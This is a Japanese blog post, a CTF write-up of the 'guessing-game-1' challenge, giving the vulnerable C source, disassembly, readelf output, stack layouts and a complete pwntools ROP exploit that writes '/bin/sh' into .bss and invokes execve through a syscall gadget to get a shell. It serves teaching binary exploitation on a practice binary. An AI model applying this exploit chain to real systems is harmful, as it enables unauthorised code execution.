LoginSignup
0
0

Pwnable - 典型問題 (ROP編)

Last updated at Posted at 2024-05-02

Pwnable - 典型問題シリーズ

  1. Stack Overflow編
  2. ROP編(本記事)
  3. Heap Exploit編
  4. FSB編
  5. その他編

目次

guessing-game-1

解析対象のバイナリのArchは64ビット。

Arch:     amd64-64-little

最初の乱数は常に84であることが、何回か実行すればわかる。さらに、win関数内が100バイトのBUFに360バイト分書き込める仕様になっている。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
    printf("ans is %ld\n", ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}
   625 0000000000400c40 <win>:                                                                                             626   400c40:   55                      push   %rbp
   627   400c41:   48 89 e5                mov    %rsp,%rbp
   628   400c44:   48 83 ec 70             sub    $0x70,%rsp
   629   400c48:   48 8d 3d 78 24 09 00    lea    0x92478(%rip),%rdi        # 4930c7 <_IO_stdin_used+0x87>
   630   400c4f:   b8 00 00 00 00          mov    $0x0,%eax
   631   400c54:   e8 b7 f3 00 00          call   410010 <_IO_printf>
   632   400c59:   48 8b 15 48 9b 2b 00    mov    0x2b9b48(%rip),%rdx        # 6ba7a8 <_IO_stdin>
   633   400c60:   48 8d 45 90             lea    -0x70(%rbp),%rax
   634   400c64:   be 68 01 00 00          mov    $0x168,%esi
   635   400c69:   48 89 c7                mov    %rax,%rdi
   636   400c6c:   e8 9f fd 00 00          call   410a10 <_IO_fgets>
   637   400c71:   48 8d 45 90             lea    -0x70(%rbp),%rax
   638   400c75:   48 89 c6                mov    %rax,%rsi
   639   400c78:   48 8d 3d 5b 24 09 00    lea    0x9245b(%rip),%rdi        # 4930da <_IO_stdin_used+0x9a>
   640   400c7f:   b8 00 00 00 00          mov    $0x0,%eax
   641   400c84:   e8 87 f3 00 00          call   410010 <_IO_printf>
   642   400c89:   90                      nop
   643   400c8a:   c9                      leave
   644   400c8b:   c3                      ret

バイナリにsyscall命令が含まれているので、execve("/bin/sh",NULL,NULL)を実行することを目標にする (ちなみに、execveの引数は、1番目が実行対象のプログラムのパス、2番目がプログラムに渡す引数の配列、3番目がプログラムに渡す環境変数の配列)。

  1432   401902:   48 89 76 10             mov    %rsi,0x10(%rsi)
  1433   401906:   0f 05                   syscall                                                                        1434   401908:   85 c0                   test   %eax,%eax
  1435   40190a:   74 14                   je     401920 <__libc_setup_tls+0x190>

バイナリ内に/bin/sh\x00という文字列は存在しないようなので、自分で書き込む必要がある。例えば、以下のようなROP-Chainを組むことで、.bssセクションに/bin/sh\x00を書き込むことができる。

|    address to (pop rax; ret)                 |
|----------------------------------------------|
|         "/bin/sh\x00"                        |  <- raxに`/bin/sh\x00`を格納
|----------------------------------------------|
|    address to (pop rsi; ret)                 |
|----------------------------------------------| 
|            .bss                              |  <- rsxに`.bss`セクションのアドレスを格納
|----------------------------------------------|
| address to (mov qword ptr [rsi], rax ; ret)  |  <- `.bss`セクションにraxに格納された`bin/sh\x00`を書き込み
|----------------------------------------------|

次に、execve("/bin/sh",NULL,NULL)を実行するROP-Chainを組む。64ビットでは以下のように、レジスタに第1~6引数が格納される。

引数	第1引数	第2引数	第3引数	第4引数	第5引数	第6引数
レジスタ	   rdi	   rsi	   rdx	   rcx	    r8	    r9

また、syscallを使ってexecveを呼び出したいので、raxexecveに対応する59 (0x3b)を格納しておく。

| address to (pop rdi; ret) |
|---------------------------|
| .bss ("/bin/sh")          |
|---------------------------|
| address to (pop rsi; ret) |
|---------------------------|
|       0x0                 |
|---------------------------|
| address to (pop rdx; ret) |
|---------------------------|
|       0x0                 |
|---------------------------|
| address to (pop rax; ret) |
|---------------------------|
|       0x3b                |
|---------------------------|
| address to (syscall; ret) | 
|---------------------------|

各セクションのアドレスはreadelfコマンドで分かる。

 readelf -S vuln
There are 33 section headers, starting at offset 0xcf0a8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
                                    .
                                    .
                                    .
  [26] .bss              NOBITS           00000000006bc3a0  000bc398
       00000000000016f8  0000000000000000  WA       0     0     32
  [27] __libc_freer[...] NOBITS           00000000006bda98  000bc398
       0000000000000028  0000000000000000  WA       0     0     8
                                    .
                                    .
                                    .
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  R (retain), D (mbind), l (large), p (processor specific)

元のスタックは以下の通りである。

|                     | <- 0x7fffffffd9d0 (rsp)
| data (112byte)      |
|                     |
|---------------------| <- 0x7fffffffda40 (rbp) 
|       rbp           |
|---------------------|
|  return-address     |
|---------------------|

スタックオーバフローの脆弱性を活かして、スタックの中身を以下のように改変する。

|                     |
| Padding (120byte)   |
|                     |
|                     |
|                     |
|---------------------|
|      ROP-Chain      | <- return addresをROP-Chainの先頭に改変    
|---------------------|

最終的な攻撃コードは以下の通り。

from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

pop_rax_ret = rop.find_gadget(["pop rax", "ret"]).address
pop_rsi_ret = rop.find_gadget(["pop rsi", "ret"]).address
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
pop_rdx_ret = rop.find_gadget(["pop rdx", "ret"]).address
mov_rsi_rax = 0x47ff91 # ROPGagetで見つけました
bss_addr = 0x6bc3a0
syscall = rop.find_gadget(["syscall", "ret"]).address

write_bss = p64(pop_rax_ret)
write_bss += b"/bin/sh\x00"
write_bss += p64(pop_rsi_ret)
write_bss += p64(bss_addr)
write_bss += p64(mov_rsi_rax)

call_execve = p64(pop_rdi_ret)
call_execve += p64(bss_addr)
call_execve += p64(pop_rsi_ret)
call_execve += p64(0x0)
call_execve += p64(pop_rdx_ret)
call_execve += p64(0x0)
call_execve += p64(pop_rax_ret)
call_execve += p64(0x3b)
call_execve += p64(syscall)

chain = write_bss + call_execve

r = process("./vuln")
r.recvuntil(b"What number would you like to guess?")
r.sendline(b"84")
r.recvuntil(b"Name?")
r.sendline(b"A"*120 + chain)
r.interactive()
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0